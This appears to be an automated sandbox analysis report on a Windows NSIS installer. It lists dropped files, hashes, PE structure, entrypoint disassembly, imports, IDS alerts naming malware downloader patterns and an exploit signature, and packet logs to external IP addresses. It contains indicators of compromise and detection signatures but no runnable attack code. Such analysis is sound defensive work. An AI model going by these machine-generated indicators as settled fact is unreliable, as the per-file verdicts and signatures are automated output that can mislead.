SHA-256:	F3F32F4EE9A9CF103B9E6876518F46801AA187864024B28DE7F36AB7A1A00B7F
SHA-512:	6D4DC54EA8653AF4D088E8B058ED07F25F8E2B92571C688BDEBF32759DA813C34A3D5B9BCB1095619C67B5797B2881B2F227B8EA592BDCCB3870B1E8A40E1312
Malicious:	false
Preview:	......2.t................................................#................................(.................................C..(..................$.........................................................y................................................................................[...x.........................>................W.....................................................T....a........................................................H..................u...p.....!.............................................................................................q.....H.........l..K...............`..........R........................f..............................................................+......\.................V......................o.....C.....}...........l..........&............0........ ..n.......O.................q............\|......................................................_....9.......3....I.........G..............................................................

C:\Users\user\AppData\Local\foreslaaende\ensisternum.myx

Download File

Process:	C:\Users\user\Desktop\________.exe
File Type:	data
Category:	dropped
Size (bytes):	486557
Entropy (8bit):	1.2517544244225545
Encrypted:	false
SSDEEP:	1536:uRoqTXoly8kLiqpTbJDQAw9WGCEHBg2Ed5:2IkLfpTlDQAOL
MD5:	4F7A0E04C31521449860638552DDC981
SHA1:	D6FF38322926347DED812C57690D26DD6BB167A0
SHA-256:	37B7F63261C13F15D9889F297B29273A7B81EB306009F466A0A4383C954F7F49
SHA-512:	B5620E786B307EBF3259AE6B5AACD8E2A9B75427DAA88C6CDEBD0D0E62A5ACE6983A131F2B70E35703BEA0E3CEFD4A9B26B7706AEFBECB87F7AFAE0B38740CC9
Malicious:	false
Preview:	................P.............................................T....=.........yO.........t..................................W.................................=..................................................................................................................y.........................................................N.....H.................................................................................l.................,..............................]...............:....................................J...}.............................................................................$.........................................=....A....................3.........................................................................7........e...N................#...........................M........................Z....................................................j.................................L........O............................z......,.................c.........3............

C:\Users\user\AppData\Local\foreslaaende\mntende.spi

Download File

Process:	C:\Users\user\Desktop\________.exe
File Type:	data
Category:	dropped
Size (bytes):	207254
Entropy (8bit):	1.2604686518033184
Encrypted:	false
SSDEEP:	768:od51waTQFApCdHNsdUp09xiXes7NAnAC+qFvVdhVMtdubYN/UIC6mTtRzcScEfQt:hA6C9AG+alAKUcyZ9oE
MD5:	43A8D782AD3A56D7ECD14E52CAEA0F41
SHA1:	FCDFF92EC42BEDC2297AE1ECB3C8A009E9A900BF
SHA-256:	06AB90D835D1CCFF3CFD1AE37956891918190037D989B4072B4E7ABD5B5418C6
SHA-512:	6EEBAC37056096ED7C0C97EA44A4FEDB7DD54DF826171F5733FF72AE0943C6D156F66CCD8239866180AF8FC7793480EDCCACE317BE58F37BEFB12CA43A390871
Malicious:	false
Preview:	...........................i.......................0..........................................................................................................................!.....m..............-....................................................5..e.~........e............ .................................................U.......0{.........B.....................*.................................................................................j...........y................p.............................................................................................a.................o.............................................K.....~.....(...........................D........t.............................................................[.&...... .............................................................m..............x.......................^...........................B...'.........k.....u................L................................................................T..........

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.6649956695668875
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	________.exe
File size:	847'584 bytes
MD5:	89b3b4723ea3983fc0f103eaf3093edc
SHA1:	bb6fb38b57fd6694e0803d1de469f0a326e231f4
SHA256:	69a0042174fbffed7ac840081ec1d5618f2a70fe4d56078b98a1db06627f9eab
SHA512:	74befa13a84be96af3d7209113b11511dde96835c1a8a7a3453649cddf383d356a034632c58cc4778389495625fef0da894c03a75e5e04afdcf6eadc3dc947fa
SSDEEP:	24576:UvYV0HT73uFztJXcrBbO3j8xa93BPapMMjC+eN3o67:POzaRcBbO3j193SLjC+ko
TLSH:	C4051242F6D4816AF82A013291575F726F6364317F1C5A9B37F73B5E5830286AB3823E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.D9u.ju.ju.j..ujw.ju.+j..j..wjd.j!..j..j..,jt.jRichu.j........PE..L.....oS.................`.........Z3.......p....@

File Icon


Icon Hash:	4975784d4f49613b

Static PE Info

General

Entrypoint:	0x40335a
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x536FD79B [Sun May 11 20:03:39 2014 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	e221f4f7d36469d53810a4b5f9fc8966

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Bedyrelserne, O=Bedyrelserne, L=Digne-les-Bains, C=FR
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	29/03/2024 01:42:17 29/03/2027 02:42:17
Subject Chain	CN=Bedyrelserne, O=Bedyrelserne, L=Digne-les-Bains, C=FR
Version:	3
Thumbprint MD5:	85F3BBB62036402FF36E1128FB3D8107
Thumbprint SHA-1:	8701ACC0AA00C95218234E53568933E79BEDFECE
Thumbprint SHA-256:	A551FF79E19AF7881A8BBD33B3ED54C0D737B5DADACD1E5B7BE771B27C739712
Serial:	590ECF4911EDE00D44E5D1250CB96FC4C625C4B8

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+14h], ebp
mov dword ptr [esp+10h], 00409230h
mov dword ptr [esp+1Ch], ebp
call dword ptr [00407034h]
push 00008001h
call dword ptr [004070BCh]
push ebp
call dword ptr [004072ACh]
push 00000008h
mov dword ptr [00429298h], eax
call 00007F40ACD59B1Ch
mov dword ptr [004291E4h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 00420690h
call dword ptr [0040717Ch]
push 0040937Ch
push 004281E0h
call 00007F40ACD59787h
call dword ptr [00407134h]
mov ebx, 00434000h
push eax
push ebx
call 00007F40ACD59775h
push ebp
call dword ptr [0040710Ch]
cmp word ptr [00434000h], 0022h
mov dword ptr [004291E0h], eax
mov eax, ebx
jne 00007F40ACD56C6Ah
push 00000022h
mov eax, 00434002h
pop esi
push esi
push eax
call 00007F40ACD591C6h
push eax
call dword ptr [00407240h]
mov dword ptr [esp+18h], eax
jmp 00007F40ACD56D2Eh
push 00000020h
pop edx
cmp cx, dx
jne 00007F40ACD56C69h
inc eax
inc eax
cmp word ptr [eax], dx
je 00007F40ACD56C5Bh
add word ptr [eax], 0000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7494	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x28c48	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xccce8	0x21f8
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5e68	0x6000	2f6554958e1a5093777de617d6e0bffc	False	0.6566162109375	data	6.419811957742583	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1354	0x1400	2222fe44ebbadbc32af32dfc9c88e48e	False	0.4306640625	data	5.037511188789184	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x202d8	0x600	9587277f9a9b39e2caf86eae07909d87	False	0.4733072916666667	data	3.757932017065988	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2a000	0x29000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x28c48	0x28e00	59d6061d9f9f5498351e74e1e9b8c526	False	0.4770761659021407	data	5.198121069162778	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x53400	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x53768	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	English	United States	0.4562433455577901
RT_ICON	0x63f90	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864	English	United States	0.4870191297035947
RT_ICON	0x6d438	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 20736	English	United States	0.5106746765249538
RT_ICON	0x728c0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	English	United States	0.5217879074161549
RT_ICON	0x76ae8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	English	United States	0.5518672199170125
RT_ICON	0x79090	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	English	United States	0.6116322701688556
RT_ICON	0x7a138	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	English	United States	0.6635245901639344
RT_ICON	0x7aac0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	English	United States	0.7340425531914894
RT_DIALOG	0x7af28	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x7b070	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0x7b1b0	0x120	data	English	United States	0.5173611111111112
RT_DIALOG	0x7b2d0	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x7b3f0	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x7b4b8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x7b518	0x76	data	English	United States	0.7542372881355932
RT_VERSION	0x7b590	0x3ac	data	English	United States	0.4521276595744681
RT_MANIFEST	0x7b940	0x305	XML 1.0 document, ASCII text, with very long lines (773), with no line terminators	English	United States	0.5614489003880984

Imports

DLL	Import
KERNEL32.dll	CompareFileTime, SearchPathW, SetFileTime, CloseHandle, GetShortPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, GetFullPathNameW, CreateDirectoryW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, SetFileAttributesW, ExpandEnvironmentStringsW, SetErrorMode, LoadLibraryW, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, lstrcpyA, lstrcpyW, lstrcatW, GetSystemDirectoryW, GetVersion, GetProcAddress, LoadLibraryA, GetModuleHandleA, GetModuleHandleW, lstrcmpiW, lstrcmpW, WaitForSingleObject, GlobalFree, GlobalAlloc, LoadLibraryExW, GetExitCodeProcess, FreeLibrary, WritePrivateProfileStringW, GetCommandLineW, GetTempPathW, GetPrivateProfileStringW, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, WriteFile, lstrlenA, WideCharToMultiByte
USER32.dll	EndDialog, ScreenToClient, GetWindowRect, RegisterClassW, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, wsprintfW, CreateWindowExW, SystemParametersInfoW, AppendMenuW, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, GetDC, SetWindowLongW, LoadImageW, SendMessageTimeoutW, FindWindowExW, EmptyClipboard, OpenClipboard, TrackPopupMenu, EndPaint, ShowWindow, GetDlgItem, IsWindow, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegCloseKey, RegOpenKeyExW, RegDeleteKeyW, RegDeleteValueW, RegEnumValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-12T07:36:32.879752+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.8	49706	TCP
2024-11-12T07:36:47.682495+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49715	193.122.130.0	80	TCP
2024-11-12T07:36:48.280641+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49715	193.122.130.0	80	TCP
2024-11-12T07:36:49.593155+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49715	193.122.130.0	80	TCP
2024-11-12T07:36:50.311923+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49717	188.114.96.3	443	TCP
2024-11-12T07:36:51.686922+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49718	193.122.130.0	80	TCP
2024-11-12T07:36:52.391719+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49719	188.114.96.3	443	TCP
2024-11-12T07:37:12.770892+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.8	49732	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2024 07:36:44.717053890 CET	49715	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:44.722009897 CET	80	49715	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:44.722080946 CET	49715	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:44.722284079 CET	49715	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:44.727091074 CET	80	49715	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:45.402075052 CET	80	49715	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:45.417691946 CET	49715	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:45.422462940 CET	80	49715	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:47.658318043 CET	80	49715	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:47.682495117 CET	49715	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:47.687263966 CET	80	49715	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:48.225405931 CET	80	49715	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:48.280641079 CET	49715	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:48.553524971 CET	49716	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:48.553554058 CET	443	49716	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:48.553627968 CET	49716	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:48.556220055 CET	49716	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:48.556241035 CET	443	49716	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:49.159504890 CET	443	49716	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:49.159663916 CET	49716	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:49.163140059 CET	49716	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:49.163151979 CET	443	49716	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:49.163546085 CET	443	49716	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:49.168298960 CET	49716	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:49.211333990 CET	443	49716	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:49.372411966 CET	443	49716	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:49.372477055 CET	443	49716	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:49.372725010 CET	49716	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:49.376367092 CET	49716	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:49.381944895 CET	49715	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:49.386667013 CET	80	49715	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:49.542319059 CET	80	49715	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:49.544523001 CET	49717	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:49.544550896 CET	443	49717	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:49.544629097 CET	49717	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:49.544976950 CET	49717	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:49.544986963 CET	443	49717	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:49.593154907 CET	49715	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:49.772830009 CET	80	49715	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:49.772902012 CET	49715	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:50.166886091 CET	443	49717	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:50.169265985 CET	49717	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:50.169285059 CET	443	49717	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:50.311671972 CET	443	49717	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:50.311779976 CET	443	49717	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:50.311834097 CET	49717	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:50.312345028 CET	49717	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:50.315977097 CET	49715	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:50.317079067 CET	49718	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:50.321166039 CET	80	49715	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:50.321254969 CET	49715	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:50.321928978 CET	80	49718	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:50.322000027 CET	49718	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:50.322083950 CET	49718	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:50.326889038 CET	80	49718	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:51.645483017 CET	80	49718	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:51.646617889 CET	49719	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:51.646661997 CET	443	49719	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:51.646737099 CET	49719	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:51.646949053 CET	49719	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:51.646960974 CET	443	49719	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:51.686922073 CET	49718	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:52.251847982 CET	443	49719	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:52.253742933 CET	49719	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:52.253762007 CET	443	49719	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:52.391729116 CET	443	49719	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:52.391799927 CET	443	49719	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:52.391866922 CET	49719	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:52.392374992 CET	49719	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:52.397572041 CET	49720	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:52.402369976 CET	80	49720	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:52.402575016 CET	49720	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:52.402673006 CET	49720	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:52.407494068 CET	80	49720	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:53.094225883 CET	80	49720	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:53.095655918 CET	49721	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:53.095702887 CET	443	49721	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:53.095827103 CET	49721	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:53.096111059 CET	49721	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:53.096118927 CET	443	49721	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:53.140062094 CET	49720	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:53.703167915 CET	443	49721	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:53.704869986 CET	49721	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:53.704895020 CET	443	49721	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:53.848361969 CET	443	49721	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:53.848434925 CET	443	49721	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:53.848485947 CET	49721	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:53.848997116 CET	49721	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:53.852669001 CET	49720	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:53.853851080 CET	49722	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:53.857697964 CET	80	49720	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:53.857781887 CET	49720	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:53.858782053 CET	80	49722	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:53.858850002 CET	49722	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:53.858944893 CET	49722	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:53.863661051 CET	80	49722	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:54.510622978 CET	80	49722	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:54.512037039 CET	49723	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:54.512092113 CET	443	49723	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:54.512190104 CET	49723	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:54.512447119 CET	49723	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:54.512454987 CET	443	49723	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:54.561873913 CET	49722	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:55.115391970 CET	443	49723	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:55.117129087 CET	49723	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:55.117147923 CET	443	49723	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:55.255525112 CET	443	49723	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:55.255582094 CET	443	49723	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:55.255637884 CET	49723	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:55.256084919 CET	49723	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:55.259562016 CET	49722	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:55.260620117 CET	49724	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:55.264617920 CET	80	49722	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:55.264691114 CET	49722	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:55.265510082 CET	80	49724	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:55.265571117 CET	49724	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:55.265676975 CET	49724	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:55.270432949 CET	80	49724	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:56.994812012 CET	80	49724	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:56.996154070 CET	49725	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:56.996191025 CET	443	49725	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:56.996279001 CET	49725	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:56.996551991 CET	49725	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:56.996562958 CET	443	49725	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:57.046325922 CET	49724	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:57.612670898 CET	443	49725	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:57.614273071 CET	49725	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:57.614295959 CET	443	49725	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:57.756067991 CET	443	49725	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:57.756124020 CET	443	49725	188.114.96.3	192.168.2.8
Nov 12, 2024 07:36:57.756176949 CET	49725	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:57.756611109 CET	49725	443	192.168.2.8	188.114.96.3
Nov 12, 2024 07:36:57.764748096 CET	49726	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:57.764807940 CET	49724	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:57.769526958 CET	80	49726	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:57.769620895 CET	49726	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:57.769855022 CET	80	49724	193.122.130.0	192.168.2.8
Nov 12, 2024 07:36:57.769925117 CET	49724	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:57.775499105 CET	49726	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:36:57.780468941 CET	80	49726	193.122.130.0	192.168.2.8
Nov 12, 2024 07:37:00.246047974 CET	80	49726	193.122.130.0	192.168.2.8
Nov 12, 2024 07:37:00.254535913 CET	49727	443	192.168.2.8	188.114.97.3
Nov 12, 2024 07:37:00.254576921 CET	443	49727	188.114.97.3	192.168.2.8
Nov 12, 2024 07:37:00.254645109 CET	49727	443	192.168.2.8	188.114.97.3
Nov 12, 2024 07:37:00.255064011 CET	49727	443	192.168.2.8	188.114.97.3
Nov 12, 2024 07:37:00.255078077 CET	443	49727	188.114.97.3	192.168.2.8
Nov 12, 2024 07:37:00.296282053 CET	49726	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:37:00.858588934 CET	443	49727	188.114.97.3	192.168.2.8
Nov 12, 2024 07:37:00.860300064 CET	49727	443	192.168.2.8	188.114.97.3
Nov 12, 2024 07:37:00.860327959 CET	443	49727	188.114.97.3	192.168.2.8
Nov 12, 2024 07:37:01.003581047 CET	443	49727	188.114.97.3	192.168.2.8
Nov 12, 2024 07:37:01.003653049 CET	443	49727	188.114.97.3	192.168.2.8
Nov 12, 2024 07:37:01.003726959 CET	49727	443	192.168.2.8	188.114.97.3
Nov 12, 2024 07:37:01.004162073 CET	49727	443	192.168.2.8	188.114.97.3
Nov 12, 2024 07:37:01.007788897 CET	49726	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:37:01.009002924 CET	49728	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:37:01.012801886 CET	80	49726	193.122.130.0	192.168.2.8
Nov 12, 2024 07:37:01.012877941 CET	49726	80	192.168.2.8	193.122.130.0
Nov 12, 2024 07:37:01.013813019 CET	80	49728	193.122.130.0	192.168.2.8
Nov 12, 2024 07:37:01.013878107 CET	49728	80	192.168.2.8	193.122.130.0
